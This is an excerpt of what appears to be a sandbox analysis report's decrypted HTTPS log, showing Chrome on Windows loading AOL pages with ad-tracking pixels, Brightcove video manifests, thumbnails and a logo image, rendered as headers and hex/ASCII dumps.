2024-05-23 22:35:06 UTC	5	IN	Data Raw: 36 66 32 0d 0a Data Ascii: 6f2
2024-05-23 22:35:06 UTC	1371	IN	Data Raw: 65 79 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 4a 39 2e 65 79 4a 68 64 57 51 69 4f 6c 73 69 63 47 78 68 65 57 4a 68 59 32 73 75 59 58 42 70 4c 6d 4a 79 61 57 64 6f 64 47 4e 76 64 6d 55 75 59 32 39 74 49 6c 30 73 49 6d 46 6a 59 32 6c 6b 49 6a 6f 69 4e 6a 51 78 4e 54 59 32 4e 54 67 78 4e 54 41 77 4d 53 49 73 49 6e 42 72 61 57 51 69 4f 69 49 35 4d 6a 45 34 4e 44 4d 79 4d 43 30 34 5a 6d 59 7a 4c 54 51 31 5a 54 6b 74 59 6a 59 77 4d 43 30 35 4f 54 42 6d 4f 44 49 79 59 7a 67 32 4e 6a 63 69 4c 43 4a 6c 65 48 41 69 4f 6a 45 33 4d 54 59 31 4d 44 4d 35 4f 54 51 73 49 6d 6c 68 64 43 49 36 4d 54 63 78 4e 6a 55 77 4d 7a 59 35 4e 48 30 2e 75 48 6f 57 44 53 76 67 72 46 69 49 52 33 53 56 4c 75 42 36 45 6d 47 34 73 72 6b 5f 52 73 37 70 45 56 74 4e 55 32 70 4e 6e 4c Data Ascii: eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnL
2024-05-23 22:35:06 UTC	407	IN	Data Raw: 30 2c 43 4f 44 45 43 53 3d 22 6d 70 34 61 2e 34 30 2e 32 2c 61 76 63 31 2e 34 64 30 30 31 66 22 2c 52 45 53 4f 4c 55 54 49 4f 4e 3d 39 36 30 78 35 34 30 2c 41 55 44 49 4f 3d 22 61 75 64 69 6f 2d 30 22 2c 43 4c 4f 53 45 44 2d 43 41 50 54 49 4f 4e 53 3d 4e 4f 4e 45 2c 53 55 42 54 49 54 4c 45 53 3d 22 73 75 62 74 69 74 6c 65 73 2d 30 22 0a 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6d 61 6e 69 66 65 73 74 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 33 31 64 66 62 35 66 31 2d 65 32 64 34 2d 34 33 38 61 2d 62 36 30 33 2d 31 38 63 61 39 33 36 Data Ascii: 0,CODECS="mp4a.40.2,avc1.4d001f",RESOLUTION=960x540,AUDIO="audio-0",CLOSED-CAPTIONS=NONE,SUBTITLES="subtitles-0"https://manifest.prod.boltdns.net/manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/31dfb5f1-e2d4-438a-b603-18ca936
2024-05-23 22:35:06 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-23 22:35:06 UTC	5	IN	Data Raw: 33 62 63 0d 0a Data Ascii: 3bc
2024-05-23 22:35:06 UTC	956	IN	Data Raw: 65 79 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 4a 39 2e 65 79 4a 68 64 57 51 69 4f 6c 73 69 63 47 78 68 65 57 4a 68 59 32 73 75 59 58 42 70 4c 6d 4a 79 61 57 64 6f 64 47 4e 76 64 6d 55 75 59 32 39 74 49 6c 30 73 49 6d 46 6a 59 32 6c 6b 49 6a 6f 69 4e 6a 51 78 4e 54 59 32 4e 54 67 78 4e 54 41 77 4d 53 49 73 49 6e 42 72 61 57 51 69 4f 69 49 35 4d 6a 45 34 4e 44 4d 79 4d 43 30 34 5a 6d 59 7a 4c 54 51 31 5a 54 6b 74 59 6a 59 77 4d 43 30 35 4f 54 42 6d 4f 44 49 79 59 7a 67 32 4e 6a 63 69 4c 43 4a 6c 65 48 41 69 4f 6a 45 33 4d 54 59 31 4d 44 4d 35 4f 54 51 73 49 6d 6c 68 64 43 49 36 4d 54 63 78 4e 6a 55 77 4d 7a 59 35 4e 48 30 2e 75 48 6f 57 44 53 76 67 72 46 69 49 52 33 53 56 4c 75 42 36 45 6d 47 34 73 72 6b 5f 52 73 37 70 45 56 74 4e 55 32 70 4e 6e 4c Data Ascii: eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnL
2024-05-23 22:35:06 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
481	192.168.2.6	50317	52.46.155.104	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	698	OUT	GET /ecm3?ex=rubiconprojectHMT&id=Dc_b9-PmTX6gMqsoiQWwkA&gdpr=0 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY; ad-privacy=0
2024-05-23 22:35:06 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: QCC7H0X6049D058RZ1QM Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-23 22:35:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
482	192.168.2.6	50298	151.101.66.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	584	OUT	GET /thumbnail/v1/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/08aab345-a7a0-4751-97b3-5c0984f74840/thumbnail.webvtt?fastly_token=NjY0ZmQyYTRfOGRhNWUzZmU3OGNhODkwMWViMTFmZWZlZmM4MWI3ZDAzZmIyNThhMjIwYTQzNzM4ZDQ5YmNlNzkwY2RiYjIxMw%3D%3D HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:06 UTC	649	IN	HTTP/1.1 200 OK Connection: close Content-Length: 5090 Access-Control-Allow-Headers: X-Requested-With,Origin,Range,Accept-Encoding,Referer Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Server,Range,Content-Length,Content-Range Cache-Control: s-maxage=10800, max-age=10800 Content-Type: text/vtt; charset=UTF-8 X-Powered-By: BC X-Powered-From: gantry Accept-Ranges: bytes Date: Thu, 23 May 2024 22:35:06 GMT Via: 1.1 varnish Age: 9324 X-Served-By: cache-ewr18133-EWR X-Cache: HIT X-Cache-Hits: 283 X-Timer: S1716503707.620859,VS0,VE0 X-Device-Group: desktop-chrome
2024-05-23 22:35:06 UTC	1371	IN	Data Raw: 57 45 42 56 54 54 0a 0a 30 30 3a 30 30 2e 30 30 30 20 2d 2d 3e 20 30 30 3a 30 35 2e 30 30 30 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 69 6d 61 67 65 2f 76 31 2f 6a 69 74 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 6d 61 69 6e 2f 34 38 30 78 32 37 30 2f 30 73 2f 6d 61 74 63 68 2f 69 6d 61 67 65 2e 6a 70 65 67 3f 61 6b 61 6d 61 69 5f 74 6f 6b 65 6e 3d 65 78 70 3d 31 37 31 36 35 31 36 39 36 32 7e 61 63 6c 3d 2f 69 6d 61 67 65 2f 76 31 2f 6a 69 74 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 Data Ascii: WEBVTT00:00.000 --> 00:05.000https://bcbolt446c5271-a.akamaihd.net/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/0s/match/image.jpeg?akamai_token=exp=1716516962~acl=/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6
2024-05-23 22:35:06 UTC	1371	IN	Data Raw: 68 2f 69 6d 61 67 65 2e 6a 70 65 67 2a 7e 68 6d 61 63 3d 66 38 30 37 36 30 37 61 33 64 61 63 37 33 33 33 31 64 34 61 36 66 61 65 39 37 64 38 33 36 61 65 39 39 39 33 35 61 66 32 33 31 62 62 33 35 61 30 39 38 30 65 66 66 31 32 39 30 64 39 36 62 32 31 0a 0a 30 30 3a 32 30 2e 30 30 30 20 2d 2d 3e 20 30 30 3a 32 35 2e 30 30 30 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 69 6d 61 67 65 2f 76 31 2f 6a 69 74 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 6d 61 69 6e 2f 34 38 30 78 32 37 30 2f 32 30 73 2f 6d 61 74 63 68 2f 69 6d 61 67 65 2e 6a 70 65 67 3f 61 6b 61 6d 61 69 5f 74 6f 6b Data Ascii: h/image.jpeg*~hmac=f807607a3dac73331d4a6fae97d836ae99935af231bb35a0980eff1290d96b2100:20.000 --> 00:25.000https://bcbolt446c5271-a.akamaihd.net/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/20s/match/image.jpeg?akamai_tok
2024-05-23 22:35:06 UTC	1371	IN	Data Raw: 65 2f 76 31 2f 6a 69 74 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 6d 61 69 6e 2f 34 38 30 78 32 37 30 2f 33 35 73 2f 6d 61 74 63 68 2f 69 6d 61 67 65 2e 6a 70 65 67 2a 7e 68 6d 61 63 3d 36 36 35 38 34 61 35 39 66 35 36 39 31 33 30 63 33 30 32 66 30 38 62 31 33 39 37 35 34 38 61 61 62 64 32 39 36 38 32 31 63 36 66 37 32 38 30 61 34 30 38 34 34 66 38 37 38 64 38 33 31 66 61 38 0a 0a 30 30 3a 34 30 2e 30 30 30 20 2d 2d 3e 20 30 30 3a 34 35 2e 30 30 30 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 69 6d 61 67 65 2f 76 31 2f 6a 69 74 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f Data Ascii: e/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/35s/match/image.jpeg*~hmac=66584a59f569130c302f08b1397548aabd296821c6f7280a40844f878d831fa800:40.000 --> 00:45.000https://bcbolt446c5271-a.akamaihd.net/image/v1/jit/6415665815001/
2024-05-23 22:35:06 UTC	977	IN	Data Raw: 36 64 63 62 39 36 39 31 65 2f 6d 61 69 6e 2f 34 38 30 78 32 37 30 2f 35 35 73 2f 6d 61 74 63 68 2f 69 6d 61 67 65 2e 6a 70 65 67 3f 61 6b 61 6d 61 69 5f 74 6f 6b 65 6e 3d 65 78 70 3d 31 37 31 36 35 31 36 39 36 32 7e 61 63 6c 3d 2f 69 6d 61 67 65 2f 76 31 2f 6a 69 74 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 6d 61 69 6e 2f 34 38 30 78 32 37 30 2f 35 35 73 2f 6d 61 74 63 68 2f 69 6d 61 67 65 2e 6a 70 65 67 2a 7e 68 6d 61 63 3d 30 64 36 38 32 39 34 36 64 63 66 38 33 34 34 33 64 39 66 63 37 33 32 62 62 38 65 35 30 32 30 38 30 63 65 61 39 31 65 30 37 66 65 33 63 64 36 64 63 32 32 62 36 34 39 65 35 62 31 31 31 32 64 34 0a 0a 30 31 3a 30 30 2e 30 30 Data Ascii: 6dcb9691e/main/480x270/55s/match/image.jpeg?akamai_token=exp=1716516962~acl=/image/v1/jit/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/main/480x270/55s/match/image.jpeg*~hmac=0d682946dcf83443d9fc732bb8e502080cea91e07fe3cd6dc22b649e5b1112d401:00.00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
483	192.168.2.6	50302	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	1649	OUT	POST /p?s=1197803361&t=x6l2QeIO5I68ob0A,0.0821335605695035&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04A_pfb%031260%04A_pbp%03814%04A_psr%031315%04A_pdi%0315336%04A_pdl%0326%04A_psh%03704%04A_psc%03704%04etrg%03backgroundPost%04outcm%03performance%04usergenf%030%04etag%03performance%04_E%03pageperf%04_ts%031716503684%04_ms%03483%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:06 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:06 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:06 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
484	192.168.2.6	50301	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	610	OUT	GET /cv/apiv2/aolfp/images/app/AOL-logo-96x96.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:06 UTC	814	IN	HTTP/1.1 200 OK x-amz-id-2: KulswJD8m6XG7ecBSBnzh2Gb2CfzZm8enZuuIfI80S6isnjST+guegdrW2C5+OEOpjf6xcj7+Z4= x-amz-request-id: PS52GMKHR19QNWJX Date: Thu, 11 Apr 2024 16:23:00 GMT Last-Modified: Mon, 09 Jan 2023 14:41:17 GMT ETag: "76f0af63ba54fafdb24c12012a4865b1" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 1619 Referrer-Policy: no-referrer-when-downgrade Age: 3651127 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-05-23 22:35:06 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 60 00 00 00 60 08 03 00 00 00 d5 46 87 0a 00 00 01 e9 50 4c 54 45 47 70 4c 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff 0f 69 ff ff ff ff 0f 69 ff 52 93 ff 78 ab ff e8 f1 ff a8 c8 ff ad cc ff fe fe ff 13 6c ff 10 6a ff fe ff ff fb fc ff 12 6b ff 10 69 ff b8 d3 ff 1e 73 ff f9 fb ff 26 78 ff 15 6d ff 1a 70 ff d9 Data Ascii: PNGIHDR``FPLTEGpLiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiRxljkis&xmp
2024-05-23 22:35:06 UTC	319	IN	Data Raw: c3 41 ad d3 7c dd ef c9 90 7d f6 10 c0 13 32 ab b3 52 c0 5b 62 13 9f 18 6d 63 78 ec 15 df e9 f9 23 4d ce 68 e8 7e d0 47 4c cb 52 c0 1b b2 5c 52 69 1f c6 63 53 9b 7c 67 b2 33 34 7e bf 64 47 23 57 e0 75 4a 00 3b 72 8f 2a 23 64 50 78 4c b5 07 ef 69 ed 26 e9 9e 4c 72 b0 21 cd c1 42 35 d2 ad 4d ba 8a 3d 78 74 17 15 7f ff b7 40 f8 83 cf 81 a9 9c 46 3e df 85 2a 6a 0f 5f 45 91 c8 fc 72 d1 b5 7e a3 7a ec d5 db 9e 30 1e d7 17 86 5e 4c cc 1d e9 0f 88 c5 61 d6 fe 42 69 00 0d a0 01 34 80 06 50 a6 64 60 64 0b c8 07 55 6c 01 39 40 cf 16 60 00 89 6c 01 05 a0 bc 98 65 fc ec 24 c0 76 8e 0c 00 80 92 64 76 f1 63 f3 fc 87 99 7a b6 17 00 c0 e9 0c 56 f1 4f 9c 41 07 ca 27 19 9d c7 1e cf 22 47 e2 99 4c 8e dc e3 4f b1 3d d4 8f 4f a5 df 7b 48 55 7d 96 8e 9f 0a 7e 71 43 97 ad 72 7e Data Ascii: A\|}2R[bmcx#Mh~GLR\RicS\|g34~dG#WuJ;r#dPxLi&Lr!B5M=xt@F>j_Er~z0^LaBi4Pd`dUl9@`le$vdvczVOA'"GLO=O{HU}~qCr~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
485	192.168.2.6	50303	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	1700	OUT	POST /p?s=1197803361&t=bffCFzsY8w4IcNmR,0.39347121961417875&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04A_utm%03%7B%22vp_fetch_duration%22%3A10093.399999999994%2C%22vp_fetch_end_time%22%3A19045.699999999983%2C%22vp_fetch_start%22%3A8952.299999999988%7D%04etrg%03backgroundPost%04outcm%03performance%04usergenf%030%04etag%03performance%04_E%03pageperf%04_ts%031716503687%04_ms%03749%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280 [TRUNCATED] Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:06 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:06 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:06 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:06 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
486	192.168.2.6	50307	185.184.8.90	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	702	OUT	GET /cm-notify?pi=rmx-pbs&_origin=0&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: creativecdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: g=vppXXAv6rWDZQ1hfNXAq_1716503699836; ts=1716503699
2024-05-23 22:35:06 UTC	310	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:06 GMT vary: Accept-Encoding content-type: image/gif cache-control: no-cache, no-store, must-revalidate, private, max-age=0 pragma: no-cache date: Thu, 23 May 2024 22:35:06 GMT expires: Thu, 01 Jan 1970 00:00:00 GMT content-length: 42 connection: close
2024-05-23 22:35:06 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
487	192.168.2.6	50310	185.64.191.210	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
